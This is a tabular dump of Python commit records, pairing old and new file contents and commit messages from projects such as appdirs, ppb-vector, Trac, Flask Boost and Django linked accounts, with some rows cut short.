commit stringlengths 40 40 | old_file stringlengths 4 236 | new_file stringlengths 4 236 | old_contents stringlengths 1 3.26k | new_contents stringlengths 16 4.43k | subject stringlengths 16 624 | message stringlengths 17 3.29k | lang stringclasses 5
values | license stringclasses 13
values | repos stringlengths 5 91.5k |
|---|---|---|---|---|---|---|---|---|---|
51757c8a893640e2a9fa3a7b9f8e617b22e6db87 | test/test_api.py | test/test_api.py | import unittest
import appdirs
class Test_AppDir(unittest.TestCase):
def test_metadata(self):
self.assertTrue(hasattr(appdirs, "__version__"))
self.assertTrue(hasattr(appdirs, "__version_info__"))
def test_helpers(self):
self.assertTrue(isinstance(
appdirs.user_data_dir('My... | import unittest
import appdirs
class Test_AppDir(unittest.TestCase):
def test_metadata(self):
self.assertTrue(hasattr(appdirs, "__version__"))
self.assertTrue(hasattr(appdirs, "__version_info__"))
def test_helpers(self):
self.assertIsInstance(
appdirs.user_data_dir('MyApp',... | Use assertIsInstance() instead of assertTrue(isinstance()). | Use assertIsInstance() instead of assertTrue(isinstance()).
| Python | mit | platformdirs/platformdirs |
23c9aeb707f6bc0b6948dffb03bd7c960b7e97a8 | tests/test_vector2_reflect.py | tests/test_vector2_reflect.py | from ppb_vector import Vector2
import pytest
from hypothesis import given, assume, note
from math import isclose, isinf
from utils import units, vectors
reflect_data = (
(Vector2(1, 1), Vector2(0, -1), Vector2(1, -1)),
(Vector2(1, 1), Vector2(-1, 0), Vector2(-1, 1)),
(Vector2(0, 1), Vector2(0, -1), Vector... | from ppb_vector import Vector2
import pytest
from hypothesis import given, assume, note
from math import isclose, isinf
from utils import angle_isclose, units, vectors
reflect_data = (
(Vector2(1, 1), Vector2(0, -1), Vector2(1, -1)),
(Vector2(1, 1), Vector2(-1, 0), Vector2(-1, 1)),
(Vector2(0, 1), Vector2... | Add a property tying reflect() and angle() | test_reflect_prop: Add a property tying reflect() and angle()
| Python | artistic-2.0 | ppb/ppb-vector,ppb/ppb-vector |
53239498023a2ebe6d25a99d09430046b3b40e83 | rtrss/database.py | rtrss/database.py | import logging
from contextlib import contextmanager
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.exc import SQLAlchemyError
from rtrss.exceptions import OperationInterruptedException
from rtrss import config
_logger = logging.getLogger(__name__)
engine = create_engine(... | import logging
from contextlib import contextmanager
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
from sqlalchemy.exc import SQLAlchemyError
from rtrss.exceptions import OperationInterruptedException
from rtrss import config
_logger = logging.getLogger(__name__)
engine = create_engine(... | Fix init_db and clear_db functions | Fix init_db and clear_db functions
| Python | apache-2.0 | notapresent/rtrss,notapresent/rtrss,notapresent/rtrss,notapresent/rtrss |
37c33a4a133326cce7083ea68607971344f0e6ed | rules/binutils.py | rules/binutils.py | import xyz
import os
import shutil
class Binutils(xyz.BuildProtocol):
pkg_name = 'binutils'
supported_targets = ['arm-none-eabi']
def check(self, builder):
if builder.target not in self.supported_targets:
raise xyz.UsageError("Invalid target ({}) for {}".format(builder.target, self.pkg... | import xyz
import os
import shutil
class Binutils(xyz.BuildProtocol):
pkg_name = 'binutils'
supported_targets = ['arm-none-eabi']
def check(self, builder):
if builder.target not in self.supported_targets:
raise xyz.UsageError("Invalid target ({}) for {}".format(builder.target, self.pkg... | Remove info dirs (for now) | Remove info dirs (for now)
| Python | mit | BreakawayConsulting/xyz |
86f8ccedae6bf671a88aa342cf993bab55057406 | api/models.py | api/models.py | class MessageModel:
def __init__(self, message, duration, creation_date, message_category):
# We will automatically generate the new id
self.id = 0
self.message = message
self.duration = duration
self.creation_date = creation_date
self.message_category = message_categ... | class AccountModel:
def __init__(self, account_type, account_number, name, first_name, address, birthdate):
# We will automatically generate the new id
self.id = 0
self.type = account_type
self.number = account_number
self.name = name
self.first_name = first_name
... | Remove message model as unused | Remove message model as unused
No need in test class as soon as we have working api | Python | mit | candidate48661/BEA |
5490939f5b94b15c154e027abcd295f14ac17a45 | src/config/site_utils.py | src/config/site_utils.py | from django.contrib.sites.models import Site
def set_site_info(domain='datahub-local.mit.edu', name='MIT DataHub'):
site = Site.objects.get_current()
if site.domain != domain:
site.domain = domain
site.name = name
site.save()
| from django.contrib.sites.models import Site
from django.db.utils import ProgrammingError
def set_site_info(domain='datahub-local.mit.edu', name='MIT DataHub'):
try:
site = Site.objects.get_current()
if site.domain != domain:
site.domain = domain
site.name = name
... | Make sure initial migration works for new installs. | Make sure initial migration works for new installs.
Bootstrapping the Site model entirely in settings isn't great.
| Python | mit | datahuborg/datahub,datahuborg/datahub,anantb/datahub,RogerTangos/datahub-stub,anantb/datahub,RogerTangos/datahub-stub,datahuborg/datahub,anantb/datahub,RogerTangos/datahub-stub,RogerTangos/datahub-stub,RogerTangos/datahub-stub,datahuborg/datahub,datahuborg/datahub,anantb/datahub,anantb/datahub,RogerTangos/datahub-stub,... |
1b3ec35857a8eff88b8984c83564e18a25ff081e | app/routes.py | app/routes.py | from flask import request, jsonify, session, g
import numpy as np
from DatasetCreation import ConstructDataset
from . import app
from . import firebase
from sklearn.ensemble import RandomForestClassifier
from sklearn import preprocessing
from sklearn.cross_validation import cross_val_score
@app.route("/", methods=[... | from flask import jsonify
from . import app
from . import firebase
@app.route("/", methods=["GET"])
def index():
response = firebase.get("/", None)
response = response or {}
return jsonify(response)
| Remove commented code and unused imports | Remove commented code and unused imports
| Python | mit | MachineLearningProject/flight-delay-prediction,MachineLearningProject/flight-delay-prediction,MachineLearningProject/flight-delay-prediction |
3e105facfb6983a10727ae40e6c239d825460b13 | demo/IDL/config.py | demo/IDL/config.py | # Config file for IDL demos
# The IDLs all have comments in //. style
from Synopsis.Config import Base
class Config (Base):
class Parser:
class IDL (Base.Parser.IDL):
include_path = ['.']
modules = {
'IDL':IDL,
}
class Linker:
class Linker (Base.Linker.Linker):
comment_processors = ['... | # Config file for IDL demos
# The IDLs all have comments in //. style
from Synopsis.Config import Base
class Config (Base):
class Parser:
class IDL (Base.Parser.IDL):
include_path = ['.']
modules = {
'IDL':IDL,
}
class Linker:
class Linker (Base.Linker.Linker):
comment_processors = ['... | Remove __init__ since dont need to force style anymore | Remove __init__ since dont need to force style anymore
| Python | lgpl-2.1 | stefanseefeld/synopsis,stefanseefeld/synopsis,stefanseefeld/synopsis,stefanseefeld/synopsis,stefanseefeld/synopsis,stefanseefeld/synopsis |
8c704a01aa935f8fea1cb88683853dffa0ee5464 | src/estimate_probs.py | src/estimate_probs.py | # from the __future__ package, import division
# to allow float division
from __future__ import division
def estimate_probs(trigram_counts_dict):
'''
# Estimates probabilities of trigrams using
# trigram_counts_dict and returns a new dictionary
# with the probabilities.
'''
trigram_probs_dict ... | #! /usr/bin/python2
# from the __future__ package, import division
# to allow float division
from __future__ import division
def estimate_probs(trigram_counts_dict):
'''
# Estimates probabilities of trigrams using
# trigram_counts_dict and returns a new dictionary
# with the probabilities.
'''
... | Make sure we use python2 | Make sure we use python2
| Python | unlicense | jvasilakes/language_detector,jvasilakes/language_detector |
7fc4a8d2a12100bae9b2ddb5c0b08fbfd94091f2 | dataproperty/_container.py | dataproperty/_container.py | # encoding: utf-8
'''
@author: Tsuyoshi Hombashi
'''
class MinMaxContainer(object):
@property
def min_value(self):
return self.__min_value
@property
def max_value(self):
return self.__max_value
def __init__(self, value_list=[]):
self.__min_value = None
self.__ma... | # encoding: utf-8
'''
@author: Tsuyoshi Hombashi
'''
class MinMaxContainer(object):
@property
def min_value(self):
return self.__min_value
@property
def max_value(self):
return self.__max_value
def __init__(self, value_list=[]):
self.__min_value = None
self.__ma... | Add __eq__, __ne__, __contains__ methods | Add __eq__, __ne__, __contains__ methods
| Python | mit | thombashi/DataProperty |
7fdea303be0c3f182d0e99719c89975294112975 | test/test_basic.py | test/test_basic.py | #!/usr/bin/env python
# vim: set ts=4 sw=4 et sts=4 ai:
#
# Test some basic functionality.
#
import unittest
import os
import sys
sys.path.append('..')
class TestQBasic(unittest.TestCase):
def setUp(self):
if os.path.exists('/tmp/q'):
os.remove('/tmp/q')
def tearDown(self):
self... | #!/usr/bin/env python
# vim: set ts=4 sw=4 et sts=4 ai:
#
# Test some basic functionality.
#
import unittest
import os
import sys
qpath = os.path.abspath(os.path.join(os.path.split(__file__)[0],'..'))
sys.path.insert(0, qpath)
class TestQBasic(unittest.TestCase):
def setUp(self):
if os.path.exists('/tm... | Make test call location independent. | Make test call location independent.
| Python | apache-2.0 | zestyping/q |
2ee34d2d74a8fb41dfe49cd3933d0d7abb25fee4 | rsvp/admin.py | rsvp/admin.py | from django.contrib import admin
from rsvp.models import Guest, Location, Table, Event, Hotel, Party, Song
class AdminModel(admin.ModelAdmin):
list_display = ['name']
class GuestAdmin(admin.ModelAdmin):
list_display = ['last_name', 'first_name']
list_filter = ['last_name', 'first_name']
search_fields = ['last_nam... | from django.contrib import admin
from rsvp.models import Guest, Location, Table, Event, Hotel, Party, Song
class AdminModel(admin.ModelAdmin):
list_display = ['name']
class GuestAdmin(admin.ModelAdmin):
list_display = ['last_name', 'first_name', 'attending', ]
list_filter = ['last_name', 'first_name']
search_fiel... | Add attending as column to Guest | Add attending as column to Guest
| Python | mit | gboone/wedding.harmsboone.org,gboone/wedding.harmsboone.org |
181ac9d91d826b1c1a71ec14ff8f500cb79261d2 | Code/Evaluator.py | Code/Evaluator.py | import subprocess
ENGINE_BIN = "stockfish"
DEPTH = 20
def evaluate_position(board, depth=DEPTH):
"""Evaluates the board's current position.
Returns the Stockfish scalar score, at the given depth, in centipawns.
"""
engine = subprocess.Popen(ENGINE_BIN, bufsize=0, universal_newlines=True,
... | import subprocess
import re
ENGINE_BIN = "stockfish"
DEPTH = 20
def evaluate_position(board, depth=DEPTH):
"""Evaluates the board's current position.
Returns the Stockfish scalar score, at the given depth, in centipawns.
"""
engine = subprocess.Popen(ENGINE_BIN, bufsize=0, universal_newlines=True,
... | Correct UCI parsing in board state evaluation function | Correct UCI parsing in board state evaluation function
| Python | mit | Bojanovski/ChessANN |
cda417454578cb8efe315850b06b047239c7796d | Commands/Leave.py | Commands/Leave.py | # -*- coding: utf-8 -*-
"""
Created on Dec 20, 2011
@author: Tyranic-Moron
"""
from IRCMessage import IRCMessage
from IRCResponse import IRCResponse, ResponseType
from CommandInterface import CommandInterface
import GlobalVars
class Leave(CommandInterface):
triggers = ['leave', 'gtfo']
help = "leave/gtfo - ... | # -*- coding: utf-8 -*-
"""
Created on Dec 20, 2011
@author: Tyranic-Moron
"""
from IRCMessage import IRCMessage
from IRCResponse import IRCResponse, ResponseType
from CommandInterface import CommandInterface
import GlobalVars
class Leave(CommandInterface):
triggers = ['leave', 'gtfo']
help = "leave/gtfo - ... | Update % to .format, add response to gtfo command | Update % to .format, add response to gtfo command | Python | mit | MatthewCox/PyMoronBot,DesertBot/DesertBot |
e5ed3e877e24d943096fa5e48c1f8c9bc30c3160 | flask_annex/__init__.py | flask_annex/__init__.py | from .base import AnnexBase
__all__ = ('Annex',)
# -----------------------------------------------------------------------------
def get_annex_class(storage):
if storage == 'file':
from .file import FileAnnex
return FileAnnex
else:
raise ValueError("unsupported storage {}".format(sto... | from .base import AnnexBase
from . import utils
__all__ = ('Annex',)
# -----------------------------------------------------------------------------
def get_annex_class(storage):
if storage == 'file':
from .file import FileAnnex
return FileAnnex
else:
raise ValueError("unsupported st... | Use storage sub-namespace for generic annex | Use storage sub-namespace for generic annex
| Python | mit | 4Catalyzer/flask-annex,taion/flask-annex |
f3c7504cf3c7982e295883ccf5448e19c1ba2814 | pygraphc/anomaly/SentimentAnalysis.py | pygraphc/anomaly/SentimentAnalysis.py | from textblob import TextBlob
class SentimentAnalysis(object):
"""Get sentiment analysis with only positive and negative considered.
Positive means normal logs and negative sentiment refers to possible attacks.
This class uses sentiment analysis feature from the TextBlob library [Loria2016]_.
Refere... | from textblob import TextBlob
class SentimentAnalysis(object):
"""Get sentiment analysis with only positive and negative considered.
Positive means normal logs and negative sentiment refers to possible attacks.
This class uses sentiment analysis feature from the TextBlob library [Loria2016]_.
Refere... | Edit get_sentiment and add get_normalized_sentiment | Edit get_sentiment and add get_normalized_sentiment
| Python | mit | studiawan/pygraphc |
3c93685eec3f6f293c3843d5c47b556426d4007e | test/settings/gyptest-settings.py | test/settings/gyptest-settings.py | #!/usr/bin/env python
# Copyright (c) 2011 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Smoke-tests 'settings' blocks.
"""
import TestGyp
test = TestGyp.TestGyp()
test.run_gyp('settings.gyp')
test.build('test.gyp', test.AL... | #!/usr/bin/env python
# Copyright (c) 2011 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Smoke-tests 'settings' blocks.
"""
import TestGyp
# 'settings' is only supported for make and scons (and will be removed there as
# we... | Make new settings test not run for xcode generator. | Make new settings test not run for xcode generator.
TBR=evan
Review URL: http://codereview.chromium.org/7472006 | Python | bsd-3-clause | old8xp/gyp_from_google,old8xp/gyp_from_google,old8xp/gyp_from_google,old8xp/gyp_from_google,old8xp/gyp_from_google |
314c6bf4159d4a84e76635a441fb62dba0122b2f | tests/test_version.py | tests/test_version.py | # Tests
import os
from tests.base import BaseTestZSTD
class TestZSTD(BaseTestZSTD):
def setUp(self):
if os.getenv("ZSTD_EXTERNAL"):
self.ZSTD_EXTERNAL = True
self.VERSION = os.getenv("VERSION")
self.PKG_VERSION = os.getenv("PKG_VERSION")
v = [int(n) for n in self.VERS... | # Tests
import os
from tests.base import BaseTestZSTD, log
class TestZSTD(BaseTestZSTD):
def setUp(self):
if os.getenv("ZSTD_EXTERNAL"):
self.ZSTD_EXTERNAL = True
self.VERSION = os.getenv("VERSION")
self.PKG_VERSION = os.getenv("PKG_VERSION")
log.info("VERSION=%r" % s... | Fix version tests - don't sort, just reverse | Fix version tests - don't sort, just reverse
| Python | bsd-2-clause | sergey-dryabzhinsky/python-zstd,sergey-dryabzhinsky/python-zstd |
faf067ec4f5189a7a0b12fc78b62373a8f997ac8 | scripts/migration/migrate_index_for_existing_files.py | scripts/migration/migrate_index_for_existing_files.py | """
Saves every file to have new save() logic index those files.
"""
import sys
import logging
from website.app import init_app
from website.files.models.osfstorage import OsfStorageFile
logger = logging.getLogger(__name__)
def main():
init_app(routes=False)
dry_run = 'dry' in sys.argv
logger.warn('Curr... | """
Saves every file to have new save() logic index those files.
"""
import sys
import logging
from website.app import init_app
from website.search import search
from website.files.models.osfstorage import OsfStorageFile
logger = logging.getLogger(__name__)
def main():
init_app(routes=False)
dry_run = 'dry'... | Change migration to update_file rather than save it | Change migration to update_file rather than save it
| Python | apache-2.0 | billyhunt/osf.io,brianjgeiger/osf.io,zachjanicki/osf.io,brandonPurvis/osf.io,haoyuchen1992/osf.io,abought/osf.io,caseyrygt/osf.io,crcresearch/osf.io,mluo613/osf.io,caneruguz/osf.io,zamattiac/osf.io,danielneis/osf.io,leb2dg/osf.io,kwierman/osf.io,SSJohns/osf.io,aaxelb/osf.io,haoyuchen1992/osf.io,HalcyonChimera/osf.io,am... |
1c3ff4552b82183263ead0aefe47b867a7b2022e | 10_anaconda/jupyter_notebook_config.py | 10_anaconda/jupyter_notebook_config.py | # Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
from jupyter_core.paths import jupyter_data_dir
import subprocess
import os
import errno
import stat
c = get_config()
c.NotebookApp.ip = '*'
c.NotebookApp.port = 8888
c.NotebookApp.open_browser = False
# Generate a s... | # Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
from jupyter_core.paths import jupyter_data_dir
import subprocess
import os
import os.path
import errno
import stat
c = get_config()
c.NotebookApp.ip = '*'
c.NotebookApp.port = 8888
c.NotebookApp.open_browser = False
... | Fix certificate regenerating each startup | Fix certificate regenerating each startup
| Python | apache-2.0 | LamDang/docker-datascience,LamDang/docker-datascience |
a70bb058bd93831b755079f5fee495088b620c6d | taiga/locale/api.py | taiga/locale/api.py | # Copyright (C) 2015 Andrey Antukh <niwi@niwi.be>
# Copyright (C) 2015 Jesús Espino <jespinog@gmail.com>
# Copyright (C) 2015 David Barragán <bameda@dbarragan.com>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the F... | # Copyright (C) 2015 Andrey Antukh <niwi@niwi.be>
# Copyright (C) 2015 Jesús Espino <jespinog@gmail.com>
# Copyright (C) 2015 David Barragán <bameda@dbarragan.com>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the F... | Add bidi (right-to-left layout) attr to locale resource | Add bidi (right-to-left layout) attr to locale resource
| Python | agpl-3.0 | crr0004/taiga-back,CoolCloud/taiga-back,Rademade/taiga-back,seanchen/taiga-back,Tigerwhit4/taiga-back,seanchen/taiga-back,astronaut1712/taiga-back,dycodedev/taiga-back,dycodedev/taiga-back,WALR/taiga-back,forging2012/taiga-back,xdevelsistemas/taiga-back-community,xdevelsistemas/taiga-back-community,rajiteh/taiga-back,T... |
e0e1b41c93fdb0c148638f6c2f33e3d47c3ec17b | slot/routes.py | slot/routes.py | from slot import basic_auth
from flask_login import login_required
from slot.main import app
from slot import controller as con
@app.route('/')
@app.route('/dashboard')
@login_required
def dashboard():
return con.dashboard()
@app.route('/new', methods=['GET', 'POST'])
@login_required
def render_new_procedure_f... | from flask_login import login_required
from slot.main import app
from slot import controller as con
from slot import basic_auth
@app.route('/')
@app.route('/dashboard')
@login_required
def dashboard():
return con.dashboard()
@app.route('/new', methods=['GET', 'POST'])
@login_required
def render_new_procedure_f... | Move import statement so that it was with other local imports | Move import statement so that it was with other local imports
| Python | mit | nhshd-slot/SLOT,nhshd-slot/SLOT,nhshd-slot/SLOT |
0a0ae457555be952e02b51642b7c9bdaf85a7e5c | trac/upgrades/db20.py | trac/upgrades/db20.py | from trac.db import Table, Column, Index, DatabaseManager
from trac.core import TracError
from trac.versioncontrol.cache import CACHE_YOUNGEST_REV
def do_upgrade(env, ver, cursor):
"""Modify the repository cache scheme (if needed)
Now we use the 'youngest_rev' entry in the system table
to explicit... | from trac.db import Table, Column, Index, DatabaseManager
from trac.core import TracError
from trac.versioncontrol.cache import CACHE_YOUNGEST_REV
def do_upgrade(env, ver, cursor):
"""Modify the repository cache scheme (if needed)
Now we use the 'youngest_rev' entry in the system table
to explicitly store... | Make db upgrade step 20 more robust. | Make db upgrade step 20 more robust.
git-svn-id: eda3d06fcef731589ace1b284159cead3416df9b@5815 af82e41b-90c4-0310-8c96-b1721e28e2e2
| Python | bsd-3-clause | walty8/trac,netjunki/trac-Pygit2,jun66j5/trac-ja,walty8/trac,netjunki/trac-Pygit2,jun66j5/trac-ja,walty8/trac,jun66j5/trac-ja,jun66j5/trac-ja,walty8/trac,netjunki/trac-Pygit2 |
3bc8a7208865bac6364ce65410dd828e576c30c1 | flask_boost/project/application/models/user.py | flask_boost/project/application/models/user.py | # coding: utf-8
import datetime
from ._base import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50), unique=True)
email = db.Column(db.String(50))
avatar = db.Column(db.String(200))
password = db.Column(db.String(200))
created_at = db.Column(... | # coding: utf-8
import datetime
from ._base import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(50), unique=True)
email = db.Column(db.String(50), unique=True)
avatar = db.Column(db.String(200))
password = db.Column(db.String(200))
created_at... | Add unique constraint to User.email | Add unique constraint to User.email
| Python | mit | 1045347128/Flask-Boost,1045347128/Flask-Boost,hustlzp/Flask-Boost,1045347128/Flask-Boost,hustlzp/Flask-Boost,hustlzp/Flask-Boost,1045347128/Flask-Boost,hustlzp/Flask-Boost |
a2c69058316971cd753edba607160d62df337b77 | tests/test_middleware.py | tests/test_middleware.py | """Tests for respite.middleware."""
from nose.tools import *
from urllib import urlencode
from django.utils import simplejson as json
from django.test.client import Client, RequestFactory
from respite.middleware import *
client = Client()
def test_json_middleware():
request = RequestFactory().post(
pa... | """Tests for respite.middleware."""
from nose.tools import *
from urllib import urlencode
from django.utils import simplejson as json
from django.test.client import Client, RequestFactory
from respite.middleware import *
client = Client()
def test_json_middleware():
request = RequestFactory().post(
pa... | Modify test to test for nested JSON | Modify test to test for nested JSON
| Python | mit | jgorset/django-respite,jgorset/django-respite,jgorset/django-respite |
93913720a88c601db6d0094f346bbdeb7b45ed34 | numpy_groupies/__init__.py | numpy_groupies/__init__.py | def dummy_no_impl(*args, **kwargs):
raise NotImplementedError("You may need to install another package (numpy, "
"weave, or numba) to access a working implementation.")
from .aggregate_purepy import aggregate as aggregate_py
aggregate = aggregate_py
try:
import numpy as np
except... | def dummy_no_impl(*args, **kwargs):
raise NotImplementedError("You may need to install another package (numpy, "
"weave, or numba) to access a working implementation.")
from .aggregate_purepy import aggregate as aggregate_py
aggregate = aggregate_py
try:
import numpy as np
except... | Make numba the default implementation, as it beats weave in major parts of the benchmarks now | Make numba the default implementation, as it beats weave in major parts of the benchmarks now
| Python | bsd-2-clause | ml31415/numpy-groupies |
d30c3b9c574566d9c69fc1322b6a2dfec3a6eb67 | opps/core/admin/article.py | opps/core/admin/article.py | # -*- coding: utf-8 -*-
from django.contrib import admin
from opps.core.models import Post
class PostAdmin(admin.ModelAdmin):
prepopulated_fields = {"slug": ("title",)}
def save_model(self, request, obj, form, change):
if not obj.user:
obj.user = request.user
obj.save()
admin.si... | # -*- coding: utf-8 -*-
from django.contrib import admin
from django import forms
from opps.core.models import Post
from redactor.widgets import RedactorEditor
class PostAdminForm(forms.ModelForm):
class Meta:
model = Post
widgets = {'content': RedactorEditor(),}
class PostAdmin(admin.ModelAd... | Create post admin form, custom content field add texteditor | Create post admin form, custom content field
add texteditor
| Python | mit | YACOWS/opps,YACOWS/opps,williamroot/opps,opps/opps,williamroot/opps,jeanmask/opps,opps/opps,williamroot/opps,opps/opps,jeanmask/opps,YACOWS/opps,YACOWS/opps,opps/opps,jeanmask/opps,jeanmask/opps,williamroot/opps |
20f4a6ee8421a9827ff04f0fc3b065377775b860 | test/single_test.py | test/single_test.py | import sys
import unittest
from unittest import TestSuite
def suite(test_name):
suite = unittest.TestSuite()
suite.addTest(unittest.defaultTestLoader.loadTestsFromName(test_name))
return suite
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage {test_name}")
sys.exit(1)
... | import sys
import unittest
from unittest import TestSuite
def suite(test_name):
suite = unittest.TestSuite()
suite.addTest(unittest.defaultTestLoader.loadTestsFromName(test_name))
return suite
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage {test_name}")
sys.exit(1)
... | Change single test verbosity to 2 | Change single test verbosity to 2
| Python | mit | JakubPetriska/poker-cfr,JakubPetriska/poker-cfr |
e5fdd60d9134bdb2e234b3eaffa2812c5ac288c9 | tests/core_tests.py | tests/core_tests.py | # -*- coding: utf-8 -*-
import datetime
from openfisca_tunisia import TunisiaTaxBenefitSystem
from openfisca_tunisia.scenarios import init_single_entity
tax_benefit_system = TunisiaTaxBenefitSystem()
def check_1_parent(year = 2011):
scenario = init_single_entity(
tax_benefit_system.new_scenario(),
... | # -*- coding: utf-8 -*-
import datetime
from openfisca_tunisia import TunisiaTaxBenefitSystem
from openfisca_tunisia.scenarios import init_single_entity
tax_benefit_system = TunisiaTaxBenefitSystem()
def check_1_parent(year = 2011):
scenario = init_single_entity(
tax_benefit_system.new_scenario(),
... | Fix KeyError on test with axis | Fix KeyError on test with axis
| Python | agpl-3.0 | openfisca/openfisca-tunisia,openfisca/openfisca-tunisia |
0c91b7546dcf770c5c1f90bb41ad2de1998a62bb | lib/stango/shortcuts.py | lib/stango/shortcuts.py | import os
def render_template(template_name, **kwargs):
from jinja2 import Environment, FileSystemLoader
env = Environment(loader=FileSystemLoader('templates'))
tmpl = env.get_template(template_name)
return tmpl.render(**kwargs)
| import os
_env = None
def render_template(template_name, **kwargs):
from jinja2 import Environment, FileSystemLoader
global _env
if _env is None:
_env = Environment(loader=FileSystemLoader('templates'))
tmpl = _env.get_template(template_name)
return tmpl.render(**kwargs)
| Use global Jinja2 environment in render_template | Use global Jinja2 environment in render_template
Before this patch, a new environment was created in every call of
render_template().
| Python | mit | akheron/stango |
eb47f234b865fb3ffc0d91c44ba114a73423595e | analyser/tasks.py | analyser/tasks.py | import os
import time
import rethinkdb as r
import requests
from krunchr.vendors.celery import celery, db
@celery.task(bind=True)
def get_file(self, url, path):
name, ext = os.path.splitext(url)
name = str(int(time.time()))
path = "%s/%s%s" % (path, name, ext)
response = requests.get(url)
with open(path... | import os
import time
from shutil import copy2
from subprocess import Popen, PIPE
import rethinkdb as r
import requests
from krunchr.vendors.celery import celery, db, config
@celery.task(bind=True)
def get_file(self, url, path):
name, ext = os.path.splitext(url)
name = str(int(time.time()))
path = "%s/%s%s" ... | Create a task for data pushing | Create a task for data pushing
| Python | apache-2.0 | vtemian/kruncher |
13f8d069f63b9bb22a268a27daae1434587807fc | competencies/tests/test_fork_schools.py | competencies/tests/test_fork_schools.py | from django.test import TestCase
from competencies.models import *
import testing_utilities as tu
class TestForkSchools(TestCase):
def setUp(self):
# Create a school.
self.school_0 = tu.create_school(name="School 0")
def test_fork_school(self):
# Make a new school, and fork school_o'... | from django.test import TestCase
from competencies.models import *
import testing_utilities as tu
class TestForkSchools(TestCase):
def setUp(self):
num_schools = 3
num_subject_areas = 5
# Create some schools.
self.schools = []
for school_num in range(0, num_schools):
... | Test builds a number of schools, each of which has a number of subject areas. | Test builds a number of schools, each of which has a number of subject areas.
| Python | mit | openlearningtools/opencompetencies,openlearningtools/opencompetencies |
9f6b12b2579f228fd9d04151771a22474a2744a3 | tabula/wrapper.py | tabula/wrapper.py | import subprocess, io, shlex, os
import pandas as pd
def read_pdf_table(input_path, options=""):
jar_path = os.path.abspath(os.path.dirname(__file__))
JAR_NAME = "tabula-0.9.1-jar-with-dependencies.jar"
args = ["java", "-jar"] + [jar_path + "/" + JAR_NAME] + shlex.split(options) + [input_path]
result = subpro... | import subprocess, io, shlex, os
import pandas as pd
def read_pdf_table(input_path, options=""):
JAR_NAME = "tabula-0.9.1-jar-with-dependencies.jar"
jar_dir = os.path.abspath(os.path.dirname(__file__))
jar_path = os.path.join(jar_dir, JAR_NAME)
args = ["java", "-jar", jar_path] + shlex.split(options) + [input_... | Use os.path.join for Jar path to make it OS independent | Use os.path.join for Jar path to make it OS independent
| Python | mit | chezou/tabula-py |
77e237ce2d95e28c9b4ac7b5716131b3da268aec | tests/test_qiniu.py | tests/test_qiniu.py | import os
from os.path import dirname, join
import uuid
import qiniu.conf
import qiniu.io
import qiniu.rs
import qiniu.rsf
QINIU_ACCESS_KEY = os.environ.get('QINIU_ACCESS_KEY')
QINIU_SECRET_KEY = os.environ.get('QINIU_SECRET_KEY')
QINIU_BUCKET_NAME = os.environ.get('QINIU_BUCKET_NAME')
QINIU_BUCKET_DOMAIN = os.envir... | import os
from os.path import dirname, join
import uuid
import qiniu.conf
import qiniu.io
import qiniu.rs
import qiniu.rsf
QINIU_ACCESS_KEY = os.environ.get('QINIU_ACCESS_KEY')
QINIU_SECRET_KEY = os.environ.get('QINIU_SECRET_KEY')
QINIU_BUCKET_NAME = os.environ.get('QINIU_BUCKET_NAME')
QINIU_BUCKET_DOMAIN = os.envir... | Test upload with a small file | Test upload with a small file
| Python | mit | jeffrey4l/django-qiniu-storage,jackeyGao/django-qiniu-storage,Mark-Shine/django-qiniu-storage,glasslion/django-qiniu-storage |
18808b6594d7e2b1c81a2cf4351708e179fb29bb | tests/test_utils.py | tests/test_utils.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from badwolf.utils import sanitize_sensitive_data
def test_sanitize_basic_auth_urls():
text = 'abc http://user:pwd@example.com def'
sanitized = sanitize_sensitive_data(text)
assert 'user' not in sanitized
assert 'pwd' not... | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from badwolf.utils import sanitize_sensitive_data
def test_sanitize_basic_auth_urls():
text = 'abc http://user:pwd@example.com def'
sanitized = sanitize_sensitive_data(text)
assert 'user' not in sanitized
assert 'pwd' not... | Update test case for sanitize_sensitive_data | Update test case for sanitize_sensitive_data
| Python | mit | bosondata/badwolf,bosondata/badwolf,bosondata/badwolf |
db45239e050e6699a2c49fe4156b100c42481c9f | wsme/tests/test_spore.py | wsme/tests/test_spore.py | import unittest
try:
import simplejson as json
except ImportError:
import json
from wsme.tests.protocol import WSTestRoot
import wsme.tests.test_restjson
import wsme.spore
class TestSpore(unittest.TestCase):
def test_spore(self):
spore = wsme.spore.getdesc(WSTestRoot())
print(spore)
... | import unittest
try:
import simplejson as json
except ImportError:
import json
from wsme.tests.protocol import WSTestRoot
import wsme.tests.test_restjson
import wsme.spore
class TestSpore(unittest.TestCase):
def test_spore(self):
spore = wsme.spore.getdesc(WSTestRoot())
print(spore)
... | Test SPORE crud function descriptions | Test SPORE crud function descriptions
| Python | mit | stackforge/wsme |
55c16e409d2919d0a32f7fce24c01059576ce867 | linked_accounts/backends.py | linked_accounts/backends.py | from django.contrib.auth.models import User
from linked_accounts.handlers import AuthHandler
from oauth_flow.handlers import OAuth20Token
class LinkedAccountsBackend(object):
supports_object_permissions = False
supports_anonymous_user = False
supports_inactive_user = False
def get_user(self, user_... | from django.contrib.auth.models import User
from linked_accounts.handlers import AuthHandler
from oauth_flow.handlers import OAuth20Token
class LinkedAccountsBackend(object):
supports_object_permissions = False
supports_anonymous_user = False
supports_inactive_user = False
def get_user(self, user_... | Use OAuth20Token only for facebook, google | Use OAuth20Token only for facebook, google
| Python | mit | zen4ever/django-linked-accounts,zen4ever/django-linked-accounts |
10e26b52f94bb1a6345d2c1540a0a09a82b7831c | baseflask/refresh_varsnap.py | baseflask/refresh_varsnap.py | """
This script refreshes production varsnap snaps
